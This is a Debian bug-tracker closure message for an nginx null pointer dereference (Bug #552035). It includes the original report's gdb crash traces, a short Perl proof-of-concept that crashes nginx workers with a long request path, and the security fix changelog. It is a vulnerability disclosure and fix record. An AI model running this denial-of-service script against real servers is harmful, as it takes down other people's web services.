Your message dated Sat, 05 Dec 2009 22:28:24 +0000
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and subject line Bug#552035: fixed in nginx 0.4.13-2+etch3
has caused the Debian Bug report #552035,
regarding there is null pointer dereference in nginx in debian etch/lenny
to be marked as done.
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552035: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=552035
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--- Begin Message ---
Package: nginx
Version: 0.4.13-2+etch2
Severity: critical
Justification: breaks unrelated software
debian:~# uname -a
Linux debian 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC 2009 i686 GNU/Linux
debian:~# cat /etc/issue
Debian GNU/Linux 4.0 \n \l
debian:~# dpkg -l|grep nginx
ii nginx 0.4.13-2+etch2
small, but very powerful and efficient
debian:~# ps xauwww|grep worker|grep -v grep
www-data 3577 0.0 0.9 2688 928 ? S 01:50 0:00 nginx: worker
process
debian:~# gdb -p 3577
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
Attaching to process 3577
Reading symbols from /usr/sbin/nginx...(no debugging symbols found)...done.
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...(no debugging symbols
found)...done.
Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1
Reading symbols from /usr/lib/libpcre.so.3...(no debugging symbols
found)...done.
Loaded symbols for /usr/lib/libpcre.so.3
Reading symbols from /usr/lib/libz.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/tls/i686/cmov/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_compat.so.2
Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols
found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1
Reading symbols from /lib/tls/i686/cmov/libnss_nis.so.2...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_nis.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2
Failed to read a valid object file image from memory.
0xb7f06410 in ?? ()
(gdb) c
Continuing.
// in other shell
$ ./nginx.pl localhost
// back on main shell
Program received signal SIGSEGV, Segmentation fault.
0x08068f23 in ?? ()
(gdb) bt
#0 0x08068f23 in ?? ()
#1 0x080b0540 in ?? ()
#2 0x080a54e4 in ?? ()
#3 0x00000000 in ?? ()
(gdb) i r
eax 0x6d4 1748
ecx 0xbff21028 -1074655192
edx 0x80b1794 134944660
ebx 0x80b0540 134939968
esp 0xbff21880 0xbff21880
ebp 0xbff218d8 0xbff218d8
esi 0x80b5630 134960688
edi 0x80b0540 134939968
eip 0x8068f23 0x8068f23 <__gmon_star...@plt+126827>
eflags 0x10206 [ PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) q
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: /usr/sbin/nginx, process 3577
debian:~#
in nginx error log we can see :
2009/10/15 01:53:24 [alert] 2477#0: worker process 3577 exited on signal 11
===============================
tested on up2date debian etch/lenny
===============================
here is same test on nginx compiled with debug :
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
793 header.data[header.len++] = '.';
(gdb) bt
#0 ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
#1 0x08069c63 in ngx_http_process_request_line (rev=0x80c95d8) at
src/http/ngx_http_request.c:702
#2 0x080668ff in ngx_http_init_request (rev=0x80c95d8) at
src/http/ngx_http_request.c:446
#3 0x0805f67e in ngx_epoll_process_events (cycle=0x80a59e8, timer=60000,
flags=<value optimized out>)
at src/event/modules/ngx_epoll_module.c:518
#4 0x08056712 in ngx_process_events_and_timers (cycle=0x80a59e8) at
src/event/ngx_event.c:245
#5 0x0805cebd in ngx_worker_process_cycle (cycle=0x80a59e8, data=0x0) at
src/os/unix/ngx_process_cycle.c:728
#6 0x0805b9b1 in ngx_spawn_process (cycle=0x80a59e8, proc=0x805c8a2
<ngx_worker_process_cycle>, data=0x0,
name=0x808e46b "worker process", respawn=-2) at
src/os/unix/ngx_process.c:187
#7 0x0805c470 in ngx_start_worker_processes (cycle=0x80a59e8, n=1, type=-2) at
src/os/unix/ngx_process_cycle.c:327
#8 0x0805d442 in ngx_master_process_cycle (cycle=0x80a59e8) at
src/os/unix/ngx_process_cycle.c:119
#9 0x0804ae5b in main (argc=1, argv=0xbfd72ac4) at src/core/nginx.c:332
(gdb) i r $eip
eip 0x8068e52 0x8068e52 <ngx_http_process_request_headers+273>
(gdb)
===============================
tested on versions 0.7.0 <= 0.7.61, 0.6.0 <= 0.6.38, 0.5.0 <= 0.5.37, 0.4.0 <=
0.4.14
================================
here is POC:
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n";
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";
while(<$sock>) {
print;
}
--- End Message ---
--- Begin Message ---
Source: nginx
Source-Version: 0.4.13-2+etch3
We believe that the bug you reported is fixed in the latest version of
nginx, which is due to be installed in the Debian FTP archive:
nginx_0.4.13-2+etch3.diff.gz
to main/n/nginx/nginx_0.4.13-2+etch3.diff.gz
nginx_0.4.13-2+etch3.dsc
to main/n/nginx/nginx_0.4.13-2+etch3.dsc
nginx_0.4.13-2+etch3_i386.deb
to main/n/nginx/nginx_0.4.13-2+etch3_i386.deb
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Stefan Fritsch <[email protected]> (supplier of updated nginx package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])
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Date: Sat, 24 Oct 2009 11:52:41 +0200
Source: nginx
Binary: nginx
Architecture: source i386
Version: 0.4.13-2+etch3
Distribution: oldstable-security
Urgency: high
Maintainer: Jose Parrella <[email protected]>
Changed-By: Stefan Fritsch <[email protected]>
Description:
nginx - small, but very powerful and efficient web server
Closes: 552035
Changes:
nginx (0.4.13-2+etch3) oldstable-security; urgency=high
.
* Non-maintainer upload by the Security Team.
* Fix remote denial of service (segmentation fault): Null pointer
dereference if request ends on buffer boundary. Closes: #552035
Files:
c4e1baf967a3dbb19a28bf2da8c32fdb 611 web optional nginx_0.4.13-2+etch3.dsc
794447a883501912bf6f448b9a561293 6822 web optional nginx_0.4.13-2+etch3.diff.gz
764b3c087859dcf45d888fe6c7f55176 184404 web optional
nginx_0.4.13-2+etch3_i386.deb
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